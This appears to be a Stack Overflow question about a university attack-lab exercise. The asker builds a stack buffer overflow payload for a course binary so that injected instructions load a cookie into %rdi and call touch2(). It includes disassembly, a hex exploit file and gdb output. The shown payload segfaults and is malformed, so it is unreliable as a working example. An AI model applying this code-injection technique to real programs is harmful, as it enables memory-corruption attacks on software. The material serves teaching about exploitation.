4

I need getbuf() to call touch2() with the correct parameter through a buffer overflow exploit. I will replace the parameter through exploit code -- placing instructions on the stack that places the value of cookie into the %rdi register.

getbuf() looks like this...

  4 int getbuf() {
  6     char buf[BUFFER_SIZE];
  7     Gets(buf);
  8     return 1;
  9 }

touch2() looks like this...

void touch2(unsigned val) {
    vlevel = 2;       /* Part of validation protocol */
    if (val == cookie) {
        printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {
        printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
    }
    exit(0);
}

I know the value of cookie is: Cookie: 0x54756825

I have a program called hex2raw that reads in a text file containing hex characters and converts them to raw binary data. Therefore I can run the attack through the following command: ./hex2raw < exploit.txt | ./ctarget Where ctarget is the main program.

The assembly code for getbuf() looks like this...

000000000040194a <getbuf>:
  40194a:   48 83 ec 38             sub    $0x38,%rsp
  40194e:   48 89 e7                mov    %rsp,%rdi
  401951:   e8 8a 02 00 00          callq  401be0 <Gets>
  401956:   b8 01 00 00 00          mov    $0x1,%eax
  40195b:   48 83 c4 38             add    $0x38,%rsp
  40195f:   c3                      retq   

I know that the size of the stack frame is 0x38 so inside my exploit.txt file I could have something like:

00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
00 00 00 00 00 00
/* at this point there is no seg fault */
00 00 00 00 00 00 00 00 /* 8 byte old rbp */
60 19 40 00 00 00 00 00 /* 8 bytes address */

...and this will result in getbuf() returning to the function at address 401960.

However, I need to do much more than that. The general process for my exploit is like so:

  • overflow buffer
  • place address in return address space that is directly above the stack frame (check out page 9 here)
  • place raw binary instructions above the return address space -- such that the program counter is now pointing to my exploit code on the stack

I already know how to cause getbuf() to return to a different function (in the above exploit code). So now I need to overflow the buffer and place the address of the 8 bytes directly above the return address space into the return address space.

I can do that by simply adding 8 bytes to the address pointed to by the %rsp register at the beginning of getbuf(). I can find this value through gdb...

(gdb) b *0x40194a
Breakpoint 1 at 0x40194a: file buf.c, line 12.
(gdb) r
Starting program: /home/kmwe236/CS485/prog3/target26/ctarget 
Cookie: 0x54756825

Breakpoint 1, getbuf () at buf.c:12
12  buf.c: No such file or directory.
(gdb) x/x ($rsp)
0x556387f0: 0x00401b16

So the address placed in the return address space should be 0x556387f8.

Next I need to add the assembly code, so I compile the following code and then use objdump to view the hex values...

movq $0x0000000054756825, %rdi
movq $0x000000000040198c, 0x0000000055638800 ; move the address of `touch2()` into a place on the stack
movq $0x0000000055638800, %rbp ; move that address place into the tbp register -- used for the retq instruction
retq

Compile...

kmwe236@kmwe236:~/CS485/prog3/target26$ gcc -c level2.s 
kmwe236@kmwe236:~/CS485/prog3/target26$ objdump -d level2.o > level2.txt
kmwe236@kmwe236:~/CS485/prog3/target26$ cat level2.txt 

level2.o:     file format elf64-x86-64


Disassembly of section .text:

0000000000000000 <.text>:
   0:   48 c7 c7 25 68 75 54    mov    $0x54756825,%rdi
   7:   48 c7 04 25 00 88 63    movq   $0x40198c,0x55638800
   e:   55 8c 19 40 00 
  13:   48 c7 c5 00 88 63 55    mov    $0x55638800,%rbp
  1a:   c3                      retq   

Finally it's time to construct the exploit.txt file... so here's what I have... (note comments are allowed)

kmwe236@kmwe236:~/CS485/prog3/target26$ cat exploit2.txt 

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 /* 8 byte old rbp */
f8 87 63 55 00 00 00 00 /* 8 bytes address */ 

54 75 68 25 c7 c7 48 00 /* begin instructions */
63 88 00 25 04 c7 48 00
00 40 19 8c 55 00 00 00
55 63 88 00 c5 c7 48 00
c3 00 00 00 00 00 00 00

This causes a seg fault. I'm missing something small I know it.

I tried using GDB to find out exactly where it seg faults. The program asks me to enter a string, so I converted the raw data into a ASCII string like so...

kmwe236@kmwe236:~/CS485/prog3/target26$ ./hex2raw < exploit2.txt > temp
kmwe236@kmwe236:~/CS485/prog3/target26$ base64 < temp > temp.txt
kmwe236@kmwe236:~/CS485/prog3/target26$ cat temp.txt
AEjHxyVodVQASMcEJQCIYwAAAFWMGUAAAEjHxQCIY1UAAAAAAAAAwwAAAAAAAAAAAAAAAAAAAAD4
h2NVAAAAAFR1aCXHx0gAY4gAJQTHSAAAQBmMVQAAAFVjiADFx0gAwwAAAAAAAAAK

I'm guessing there's a \n in there, so the actual string is AEjHxyVodVQASMcEJQCIYwAAAFWMGUAAAEjHxQCIY1UAAAAAAAAAwwAAAAAAAAAAAAAAAAAAAAD4\nh2NVAAAAAFR1aCXHx0gAY4gAJQTHSAAAQBmMVQAAAFVjiADFx0gAwwAAAAAAAAAK

So then I ran GDB like so... it seg fault after the retq instruction in getbuf() as if the address literally 8 bytes above is an illegal place?

(gdb) r
Starting program: /home/kmwe236/CS485/prog3/target26/ctarget
Cookie: 0x54756825

Breakpoint 1, getbuf () at buf.c:12
12  buf.c: No such file or directory.
(gdb) nexti
14  in buf.c
(gdb) nexti
0x0000000000401951  14  in buf.c
(gdb) nexti
Type string:AEjHxyVodVQASMcEJQCIYwAAAFWMGUAAAEjHxQCIY1UAAAAAAAAAwwAAAAAAAAAAAAAAAAAAAAD4\nh2NVAAAAAFR1aCXHx0gAY4gAJQTHSAAAQBmMVQAAAFVjiADFx0gAwwAAAAAAAAAK
16  in buf.c
(gdb) nexti
0x000000000040195b  16  in buf.c
(gdb) nexti
0x000000000040195f  16  in buf.c
(gdb) nexti

Program received signal SIGSEGV, Segmentation fault.
0x000000000040195f in getbuf () at buf.c:16
16  in buf.c

Asking GDB where gives me this...

(gdb) where
#0  0x000000000040195f in getbuf () at buf.c:16
#1  0x4141414141414141 in ?? ()
#2  0x4141414141414141 in ?? ()
#3  0x32686e5c34444141 in ?? ()
#4  0x464141414141564e in ?? ()
#5  0x3078485843613152 in ?? ()
#6  0x514a416734594167 in ?? ()
#7  0x4251414141534854 in ?? ()
#8  0x4641414151564d6d in ?? ()
#9  0x3078464441696a56 in ?? ()
#10 0x4141414177774167 in ?? ()
#11 0xf4004b4141414141 in ?? ()
#12 0xf4f4f4f4f4f4f4f4 in ?? ()
#13 0xf4f4f4f4f4f4f4f4 in ?? ()
#14 0xf4f4f4f4f4f4f4f4 in ?? ()
#15 0xf4f4f4f4f4f4f4f4 in ?? ()
#16 0xf4f4f4f4f4f4f4f4 in ?? ()
#17 0xf4f4f4f4f4f4f4f4 in ?? ()
#18 0xf4f4f4f4f4f4f4f4 in ?? ()
#19 0xf4f4f4f4f4f4f4f4 in ?? ()
#20 0xf4f4f4f4f4f4f4f4 in ?? ()
#21 0xf4f4f4f4f4f4f4f4 in ?? ()
#22 0xf4f4f4f4f4f4f4f4 in ?? ()
#23 0xf4f4f4f4f4f4f4f4 in ?? ()
#24 0xf4f4f4f4f4f4f4f4 in ?? ()
#25 0xf4f4f4f4f4f4f4f4 in ?? ()
#26 0xf4f4f4f4f4f4f4f4 in ?? ()
#27 0xf4f4f4f4f4f4f4f4 in ?? ()
#28 0xf4f4f4f4f4f4f4f4 in ?? ()
#29 0xf4f4f4f4f4f4f4f4 in ?? ()
#30 0xf4f4f4f4f4f4f4f4 in ?? ()
#31 0xf4f4f4f4f4f4f4f4 in ?? ()
#32 0xf4f4f4f4f4f4f4f4 in ?? ()
#33 0xf4f4f4f4f4f4f4f4 in ?? ()
#34 0xf4f4f4f4f4f4f4f4 in ?? ()
#35 0xf4f4f4f4f4f4f4f4 in ?? ()
#36 0xf4f4f4f4f4f4f4f4 in ?? ()
#37 0xf4f4f4f4f4f4f4f4 in ?? ()
#38 0xf4f4f4f4f4f4f4f4 in ?? ()
#39 0xf4f4f4f4f4f4f4f4 in ?? ()
#40 0xf4f4f4f4f4f4f4f4 in ?? ()
#41 0xf4f4f4f4f4f4f4f4 in ?? ()
#42 0xf4f4f4f4f4f4f4f4 in ?? ()
#43 0xf4f4f4f4f4f4f4f4 in ?? ()
#44 0xf4f4f4f4f4f4f4f4 in ?? ()
#45 0xf4f4f4f4f4f4f4f4 in ?? ()
#46 0xf4f4f4f4f4f4f4f4 in ?? ()
#47 0xf4f4f4f4f4f4f4f4 in ?? ()
#48 0xf4f4f4f4f4f4f4f4 in ?? ()
#49 0xf4f4f4f4f4f4f4f4 in ?? ()
#50 0xf4f4f4f4f4f4f4f4 in ?? ()
#51 0xf4f4f4f4f4f4f4f4 in ?? ()
Kendall Weihe
  • 2,021
  • 4
  • 27
  • 53
  • Why don't you run it in a debugger? That's likely going to tell you right where it seg faults. – l'L'l Oct 12 '16 at 22:31
  • I tried that. It asks me to enter a string, so I converted the raw input to a ASCII string (I'll update the post with this info) then entered the string. When I executed `nexti` after the `retq` instruction in `getbuf()` it seg faults. Which makes no sense, because the adress is correct and it's literally the next 8 bytes. I also tried different ordering for the instructions. – Kendall Weihe Oct 12 '16 at 22:47
  • I see... maybe try using a `leaveq` ( `c9` ) before returning ( it seems to work well with overflows ). I marked a similar question to yours a while back that is really well constructed also — It might be worth a look at if you haven't happened to see it already. ( http://stackoverflow.com/questions/11506799/stack-resident-buffer-overflow-on-64-bit ) – l'L'l Oct 12 '16 at 23:31

0 Answers0